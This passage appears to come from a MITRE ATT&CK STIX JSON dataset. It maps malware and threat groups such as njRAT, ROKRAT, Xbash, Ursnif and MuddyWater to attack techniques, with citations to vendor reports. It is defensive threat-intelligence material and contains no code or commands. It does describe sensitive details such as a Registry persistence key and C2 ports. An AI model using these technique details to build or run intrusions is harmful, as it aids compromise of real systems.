"2019-05-31T14:20:13.647Z", + "id": "relationship--43286c59-80a4-40d3-9aaa-ff7e6f321871", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "modified": "2019-05-31T15:35:30.968Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Dridex May 2017", + "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", + "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[Xbash](https://attack.mitre.org/software/S0341) has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T13:43:04.479Z", + "id": "relationship--98ccbadd-dbfa-44d3-b3f2-3a55c8fa37e1", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T13:43:04.496Z", + "id": "relationship--1c8208ad-b295-4e39-a928-40fc49f68fb4", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.581Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T14:12:42.088Z", + "id": "relationship--09c8ec4f-c76b-4a36-994f-4ed4d87b7ad8", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T14:12:42.107Z", + "id": "relationship--4a8f7699-3bcd-4586-b029-f43756681805", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.839Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has the ability to gather a list of files and directories on the infected system.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T14:17:34.176Z", + "id": "relationship--90be71e4-6b38-4411-aac5-09711a334393", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.585Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has a audio capture and eavesdropping module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T14:17:34.190Z", + "id": "relationship--0e8f2301-2758-43b3-8b3e-615281100eff", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[SynAck](https://attack.mitre.org/software/S0242) encrypts the victims machine followed by asking the victim to pay a ransom.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T17:45:28.684Z", + "id": "relationship--8c1c7c51-f9bf-4163-a01b-7d922a2d1a93", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can spawn processes with alternate PPIDs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T18:25:15.646Z", + "id": "relationship--5eb09c46-e7d1-49d9-9860-f883a1a17866", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", + "source_name": "CobaltStrike Daddy May 2017", + "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can access the victim's webcam.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T19:40:19.751Z", + "id": "relationship--30be2552-9794-4eef-b3b6-fa663f68784b", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[njRAT](https://attack.mitre.org/software/S0385) is capable of logging keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T19:40:19.771Z", + "id": "relationship--9e300a25-28f0-4373-939c-16d4d27577af", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + }, + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can upload and download files to and from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T19:48:14.179Z", + "id": "relationship--168ab4a2-db4d-4d64-9951-6547145aabe6", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can launch a command shell interface for executing commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T19:48:14.196Z", + "id": "relationship--fada4b53-8916-406b-b042-bbf4185fe0d3", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T19:49:18.249Z", + "id": "relationship--c3dd85c9-407c-4718-ba17-3c377c544dde", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-04T19:50:48.447Z", + "id": "relationship--516fa29b-1a88-451c-a3ff-96af653b94ab", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[njRAT](https://attack.mitre.org/software/S0385) is capable of deleting files on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:06:06.476Z", + "id": "relationship--eda42bb5-848f-4e1f-8902-fbda0e20a316", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can be configured to spread via removable drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:06:06.496Z", + "id": "relationship--815fff92-274f-467c-a8c0-a623588c6739", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can create, delete, or modify a specified Registry key or value.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:06:06.505Z", + "id": "relationship--b2cf7d18-daa0-45a1-b2c1-6b6056bb19c4", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can capture screenshots of the victim\u2019s machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:06:06.508Z", + "id": "relationship--36cdeef3-a216-44cd-ad79-dd8085e86fc3", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[njRAT](https://attack.mitre.org/software/S0385) has added persistence via the Registry key HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:20:24.804Z", + "id": "relationship--85482d65-d2ac-4d79-8ee4-da653e73aa8f", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.308Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[njRAT](https://attack.mitre.org/software/S0385) has been observed communicating over uncommon TCP ports, including 1177 and 8282.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:20:24.819Z", + "id": "relationship--8cc47876-44c7-4c5a-a30f-17c56c9bff5d", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "source_name": "Trend Micro njRAT 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + }, + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[njRAT](https://attack.mitre.org/software/S0385) has a module for performing remote desktop access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:20:24.822Z", + "id": "relationship--89698142-6c48-465f-9e61-0146d0fa481a", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.306Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[njRAT](https://attack.mitre.org/software/S0385) has modified the Windows firewall to allow itself to communicate through the firewall.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:46:47.839Z", + "id": "relationship--729d8ddd-b1e1-4076-b98c-3d5497dffd6e", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:50:11.204Z", + "id": "relationship--a3a7d091-49bb-4fd1-9442-d02e83a48ea1", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a peer-to-peer (P2P) network for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:57:44.690Z", + "id": "relationship--c2bbf923-e30e-4888-894c-7c8ba655c753", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.", + "source_name": "NJCCIC Ursnif Sept 2016", + "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif" + }, + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Tor](https://attack.mitre.org/software/S0183) for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T13:57:44.701Z", + "id": "relationship--186ee163-fb1f-4a7d-b7d9-3c01efbb2be0", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:20.366Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.", + "source_name": "NJCCIC Ursnif Sept 2016", + "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif" + }, + { + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "source_name": "ProofPoint Ursnif Aug 2016", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[njRAT](https://attack.mitre.org/software/S0385) uses Base64 encoding for C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T14:33:01.036Z", + "id": "relationship--7ac39d41-f859-447e-947b-5da935d30894", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[njRAT](https://attack.mitre.org/software/S0385) communicates to the C2 server using a custom protocol over TCP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T14:33:01.059Z", + "id": "relationship--960b8b6b-6312-4c28-a8c2-c62a35763559", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.406Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis njRAT June 2013", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[njRAT](https://attack.mitre.org/software/S0385) enumerates the current user during the initial infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-05T14:33:01.078Z", + "id": "relationship--8519b4c1-55c5-46be-8bdb-aa2a6ee2cb1a", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "modified": "2019-06-24T18:57:11.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "source_name": "Fidelis 